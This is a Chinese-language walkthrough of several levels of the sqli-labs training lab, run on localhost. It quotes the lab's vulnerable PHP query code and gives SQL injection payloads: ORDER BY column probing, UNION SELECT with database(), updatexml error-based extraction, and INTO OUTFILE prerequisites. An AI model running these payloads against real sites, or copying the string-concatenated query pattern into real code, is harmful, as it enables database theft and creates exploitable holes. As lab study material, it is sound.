赞
踩
对于注入闭合的方式,我们可以通过bp intruder模块去字典跑
进入第一关,可以看到页面提示,我们按照页面提示进行操作
查看源码,截取关键部分源码,在源码中可以看到,一条预编译的sql语句,而这条语句配合id传参,就是我们的注入点了,并且这是典型的字符型注入。
- $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
- $result=mysql_query($sql);
- $row = mysql_fetch_array($result);
http://127.0.0.1/sqli-labs-master/Less-1/?id=1‘ order by 3--+ 查看有多少列
当把order by 3改成order by 4 时,结果如下图所示,从这人我们可以看到,表中有多少列
查看数据库,在注入回显时,但应该注意以下的点,数据回显是有限制的他可能不会回显完全,如下显示,用limit显示我们需要的数据,后面还可以依靠group_concat和concat两个函数。
当然也可以这样,http://127.0.0.1/sqli-labs-master/?id=-1%27union%20select%201,2,3–+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27%20and%201=2%20union%20select%201,database(),3--+
后面用select查询语句,查询就行了
后面的第二关,为数字型注入,与第一关没有大的区别,但是看源码变量id没有用引号,引起来,所以注入 时不用闭合
- $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
- $result=mysql_query($sql);
- // mysql_query 是 PHP 中用于执行 MySQL 数据库查询的函数。它接受一个 SQL 查询字符串作为参数,并返回查询结果。如果查询成功,它将返回一个资源标识符,否则返回 false。
- $row = mysql_fetch_array($result);
- // mysql_fetch_array 是 PHP 中用于从查询结果集中获取一行作为关联数组、数字数组或两者兼有的函数。
- // 它接受一个资源标识符作为参数,并返回一个包含查询结果的数组。如果没有更多的行可用,则返回 false
第五关用报错注入来解比较方便
看一下源码部分
- $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
- $result=mysql_query($sql);
- $row = mysql_fetch_array($result);
-
- if($row)
- {
- echo '<font size="5" color="#FFFF00">';
- echo 'You are in...........';
- echo "<br>";
- echo "</font>";
- }
- else
- {
-
- echo '<font size="3" color="#FFFF00">';
- print_r(mysql_error());
- echo "</br></font>";
- echo '<font color= "#0000ff" font size= 3>';
-
- }
- }
- else { echo "Please input the ID as parameter with numeric value";}
-
- ?>
1、updatexml
updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
当我们第二个参数非法时,它就会报错,从而将一些敏感信息给暴露出来
如:updatexml(1,concat(0x7e,(database())),0)
因为0x7e(~)是非法所以会报错从而将database()一起报出来
注:updatexml显示的字符数有限,所以我们可以借助substr看后面的字符:
我们看第七关,会发现他与其他关有些不同,这关考的是文件的注入
使用outfile三个条件:
1.用户必须具有FILE
权限或者说是具有root权限。
2.在数据库配置文件中的 配置项含有:secure_file_priv=''。(注意在数据库中此项默认为secure_file_priv=null)。
3.知道数据库的绝对路径。
注:目标文件不能与现有文件冲突。
以下为mysql的一些函数
- $sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
- $result=mysql_query($sql);
- $row = mysql_fetch_array($result);
-
- if($row)
- {
- // echo '<font color= "#FFFF00">';
- // echo 'You are in.... Use outfile......';
- // echo "<br>";
- // echo "</font>";
- echo "<font size='5' color= '#99FF00'>";
- echo 'Your Login name:'. $row['username'];
- echo "<br>";
- echo 'Your Password:' .$row['password'];
- echo "</font>";
- }
- else
- {
- echo '<font color= "#FFFF00">';
- echo 'You have an error in your SQL syntax';
- print_r(mysql_error());#这里源码是注释掉的,我打开,是检验后面出现的问题
- echo "</font>";
- }
- }
- else { echo "Please input the ID as parameter with numeric value";}
-
- ?>
我的secure-file-priv 是在运行的,注入失败,但我们的语句没问题
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。